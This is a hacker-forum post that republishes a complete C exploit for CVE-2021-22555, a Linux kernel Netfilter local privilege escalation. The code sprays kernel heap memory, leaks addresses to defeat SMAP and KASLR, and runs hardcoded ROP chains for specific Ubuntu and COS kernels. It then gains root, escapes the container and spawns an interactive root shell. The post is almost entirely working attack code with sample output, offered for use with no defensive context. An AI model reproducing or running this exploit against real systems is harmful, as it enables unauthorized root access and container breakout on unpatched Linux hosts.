Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation

 Share


Recommended Posts

/*
 * CVE-2021-22555: Turning \x00\x00 into 10000$
 * by Andy Nguyen (theflow@)
 *
 * theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
 * theflow@theflow:~$ ./exploit
 * [+] Linux Privilege Escalation by theflow@ - 2021
 *
 * [+] STAGE 0: Initialization
 * [*] Setting up namespace sandbox...
 * [*] Initializing sockets and message queues...
 *
 * [+] STAGE 1: Memory corruption
 * [*] Spraying primary messages...
 * [*] Spraying secondary messages...
 * [*] Creating holes in primary messages...
 * [*] Triggering out-of-bounds write...
 * [*] Searching for corrupted primary message...
 * [+] fake_idx: ffc
 * [+] real_idx: fc4
 *
 * [+] STAGE 2: SMAP bypass
 * [*] Freeing real secondary message...
 * [*] Spraying fake secondary messages...
 * [*] Leaking adjacent secondary message...
 * [+] kheap_addr: ffff91a49cb7f000
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Leaking primary message...
 * [+] kheap_addr: ffff91a49c7a0000
 *
 * [+] STAGE 3: KASLR bypass
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Freeing sk_buff data buffer...
 * [*] Spraying pipe_buffer objects...
 * [*] Leaking and freeing pipe_buffer object...
 * [+] anon_pipe_buf_ops: ffffffffa1e78380
 * [+] kbase_addr: ffffffffa0e00000
 *
 * [+] STAGE 4: Kernel code execution
 * [*] Spraying fake pipe_buffer objects...
 * [*] Releasing pipe_buffer objects...
 * [*] Checking for root...
 * [+] Root privileges gained.
 *
 * [+] STAGE 5: Post-exploitation
 * [*] Escaping container...
 * [*] Cleaning up...
 * [*] Popping root shell...
 * root@theflow:/# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@theflow:/#
 *
 * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.
 */

// clang-format off
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on

#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// #define KERNEL_COS_5_4_89 1
#define KERNEL_UBUNTU_5_8_0_48 1

// clang-format off
#ifdef KERNEL_COS_5_4_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]
#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP_RSP_POP_RBX_RET 0x5401DF

// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x6748C

// 0xffffffff810c7c80 : pop rdx ; ret
#define POP_RDX_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP_RSI_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP_RDI_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP_RBP_RET 0x54B

// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1

#define FIND_TASK_BY_VPID 0x963C0
#define SWITCH_TASK_NAMESPACES 0x9D080
#define COMMIT_CREDS 0x9EC10
#define PREPARE_KERNEL_CRED 0x9F1F0

#define ANON_PIPE_BUF_OPS 0xE51600
#define INIT_NSPROXY 0x1250590
#elif KERNEL_UBUNTU_5_8_0_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP_RSP_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x6DB59

// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x891BC

// 0xffffffff810f5633 : pop rcx ; ret
#define POP_RCX_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP_RSI_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP_RDI_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP_RBP_RET 0x5AE

// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB

#define FIND_TASK_BY_VPID 0xBFBC0
#define SWITCH_TASK_NAMESPACES 0xC7A50
#define COMMIT_CREDS 0xC8C80
#define PREPARE_KERNEL_CRED 0xC9110

#define ANON_PIPE_BUF_OPS 0x1078380
#define INIT_NSPROXY 0x1663080
#else
#error "No kernel version defined"
#endif
// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};

struct {
  long mtype;
  char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
  long mtype;
  char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
  long mtype;
  char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
      0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, size) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }
  return 0;
}

int trigger_oob_write(int s) {
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;
    struct ipt_entry entry;
    struct xt_entry_match match;
    char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
    struct xt_entry_target target;
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
                       sizeof(data.pad) + sizeof(data.target));

  data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
                            sizeof(data.pad) + sizeof(data.target));
  data.entry.target_offset =
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

  data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size = sizeof(data.target);
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;

  // Partially overwrite the adjacent buffer with 2 bytes of zero.
  if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
    if (errno == ENOPROTOOPT) {
      printf("[-] Error ip_tables module is not loaded.\n");
      return -1;
    }
  }

  return 0;
}

// Note: Must not touch offset 0x10-0x18.
void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
  uint64_t *rop;
#ifdef KERNEL_COS_5_4_89
  *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;

  rop = (uint64_t *)&buf[0x18];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;
  *rop++ = scratchpad_addr; // R14
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R14
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RDX_RET;
  *rop++ = 1; // RDX
  *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;
  *rop++ = kbase_addr + POP_RDX_RET;
  *rop++ = 1; // RDX
  *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + POP_RSI_RET;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

  // Load RBP from scratchpad_addr and resume execution.
  *rop++ = kbase_addr + POP_RBP_RET;
  *rop++ = scratchpad_addr - 0x25; // RBP
  *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#elif KERNEL_UBUNTU_5_8_0_48
  *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
  *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

  rop = (uint64_t *)&buf[0xD8];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
  *rop++ = scratchpad_addr; // R12
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R12
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RCX_RET;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;
  *rop++ = kbase_addr + POP_RCX_RET;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
  *rop++ = kbase_addr + POP_RSI_RET;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

  // Load RBP from scratchpad_addr and resume execution.
  *rop++ = kbase_addr + POP_RBP_RET;
  *rop++ = scratchpad_addr - 0xA; // RBP
  *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#endif
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }

  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}

int main(int argc, char *argv[]) {
  int s;
  int fd;
  int ss[NUM_SOCKETS][2];
  int pipefd[NUM_PIPEFDS][2];
  int msqid[NUM_MSQIDS];

  char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
  char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

  struct msg_msg *msg;
  struct pipe_buf_operations *ops;
  struct pipe_buffer *buf;

  uint64_t pipe_buffer_ops = 0;
  uint64_t kheap_addr = 0, kbase_addr = 0;

  int fake_idx = -1, real_idx = -1;

  printf("[+] Linux Privilege Escalation by theflow@ - 2021\n");

  printf("\n");
  printf("[+] STAGE 0: Initialization\n");

  printf("[*] Setting up namespace sandbox...\n");
  if (setup_sandbox() < 0)
    goto err_no_rmid;

  printf("[*] Initializing sockets and message queues...\n");

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("[-] socket");
    goto err_no_rmid;
  }

  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
      perror("[-] socketpair");
      goto err_no_rmid;
    }
  }

  for (int i = 0; i < NUM_MSQIDS; i++) {
    if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
      perror("[-] msgget");
      goto err_no_rmid;
    }
  }

  printf("\n");
  printf("[+] STAGE 1: Memory corruption\n");

  printf("[*] Spraying primary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_primary, 0, sizeof(msg_primary));
    *(int *)&msg_primary.mtext[0] = MSG_TAG;
    *(int *)&msg_primary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }

  printf("[*] Spraying secondary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_secondary, 0, sizeof(msg_secondary));
    *(int *)&msg_secondary.mtext[0] = MSG_TAG;
    *(int *)&msg_secondary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
                  MTYPE_SECONDARY) < 0)
      goto err_rmid;
  }

  printf("[*] Creating holes in primary messages...\n");
  for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
    if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }

  printf("[*] Triggering out-of-bounds write...\n");
  if (trigger_oob_write(s) < 0)
    goto err_rmid;

  printf("[*] Searching for corrupted primary message...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i != 0 && (i % HOLE_STEP) == 0)
      continue;
    if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
      goto err_no_rmid;
    if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
      printf("[-] Error could not corrupt any primary message.\n");
      goto err_no_rmid;
    }
    if (*(int *)&msg_secondary.mtext[4] != i) {
      fake_idx = i;
      real_idx = *(int *)&msg_secondary.mtext[4];
      break;
    }
  }

  if (fake_idx == -1 && real_idx == -1) {
    printf("[-] Error could not corrupt any primary message.\n");
    goto err_no_rmid;
  }

  // fake_idx's primary message has a corrupted next pointer; wrongly
  // pointing to real_idx's secondary message.
  printf("[+] fake_idx: %x\n", fake_idx);
  printf("[+] real_idx: %x\n", real_idx);

  printf("\n");
  printf("[+] STAGE 2: SMAP bypass\n");

  printf("[*] Freeing real secondary message...\n");
  if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
               MTYPE_SECONDARY) < 0)
    goto err_rmid;

  // Reclaim the previously freed secondary message with a fake msg_msg of
  // maximum possible size.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                PAGE_SIZE - MSG_MSG_SIZE, 0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Use the fake secondary message to read out-of-bounds.
  printf("[*] Leaking adjacent secondary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
    printf("[-] Error could not leak adjacent secondary message.\n");
    goto err_rmid;
  }

  // The secondary message contains a pointer to the primary message.
  msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (PRIMARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;
  printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

  if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
    printf("[-] Error kernel heap address is incorrect.\n");
    goto err_rmid;
  }

  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  // Put kheap_addr at next to leak its content. Assumes zero bytes before
  // kheap_addr.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Use the fake secondary message to read from kheap_addr.
  printf("[*] Leaking primary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
    printf("[-] Error could not leak primary message.\n");
    goto err_rmid;
  }

  // The primary message contains a pointer to the secondary message.
  msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (SECONDARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;

  // Calculate the address of the fake secondary message.
  kheap_addr -= SECONDARY_SIZE;
  printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

  if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
    printf("[-] Error kernel heap address is incorrect.\n");
    goto err_rmid;
  }

  printf("\n");
  printf("[+] STAGE 3: KASLR bypass\n");

  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  printf("[*] Freeing sk_buff data buffer...\n");
  if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
    goto err_rmid;

  printf("[*] Spraying pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (pipe(pipefd[i]) < 0) {
      perror("[-] pipe");
      goto err_rmid;
    }
    // Write something to populate pipe_buffer.
    if (write(pipefd[i][1], "pwn", 3) < 0) {
      perror("[-] write");
      goto err_rmid;
    }
  }

  printf("[*] Leaking and freeing pipe_buffer object...\n");
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
        perror("[-] read");
        goto err_rmid;
      }
      if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
        pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
    }
  }

  kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
  printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
  printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

  if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
    printf("[-] Error kernel base address is incorrect.\n");
    goto err_rmid;
  }

  printf("\n");
  printf("[+] STAGE 4: Kernel code execution\n");

  printf("[*] Spraying fake pipe_buffer objects...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  buf = (struct pipe_buffer *)&secondary_buf;
  buf->ops = kheap_addr + 0x290;
  ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
#ifdef KERNEL_COS_5_4_89
  // RAX points to &buf->ops.
  // RCX points to &buf.
  ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
#elif KERNEL_UBUNTU_5_8_0_48
  // RSI points to &buf.
  ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
#endif
  build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Trigger pipe_release().
  printf("[*] Releasing pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (close(pipefd[i][0]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
    if (close(pipefd[i][1]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
  }

  printf("[*] Checking for root...\n");
  if ((fd = open("/etc/shadow", O_RDONLY)) < 0) {
    printf("[-] Error could not gain root privileges.\n");
    goto err_rmid;
  }
  close(fd);
  printf("[+] Root privileges gained.\n");

  printf("\n");
  printf("[+] STAGE 5: Post-exploitation\n");

  printf("[*] Escaping container...\n");
  setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  setns(open("/proc/1/ns/net", O_RDONLY), 0);

  printf("[*] Cleaning up...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    // TODO: Fix next pointer.
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }
  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (close(ss[i][0]) < 0)
      perror("[-] close");
    if (close(ss[i][1]) < 0)
      perror("[-] close");
  }
  if (close(s) < 0)
    perror("[-] close");

  printf("[*] Popping root shell...\n");
  char *args[] = {"/bin/bash", "-i", NULL};
  execve(args[0], args, NULL);

  return 0;

err_rmid:
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }

err_no_rmid:
  return 1;
}
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...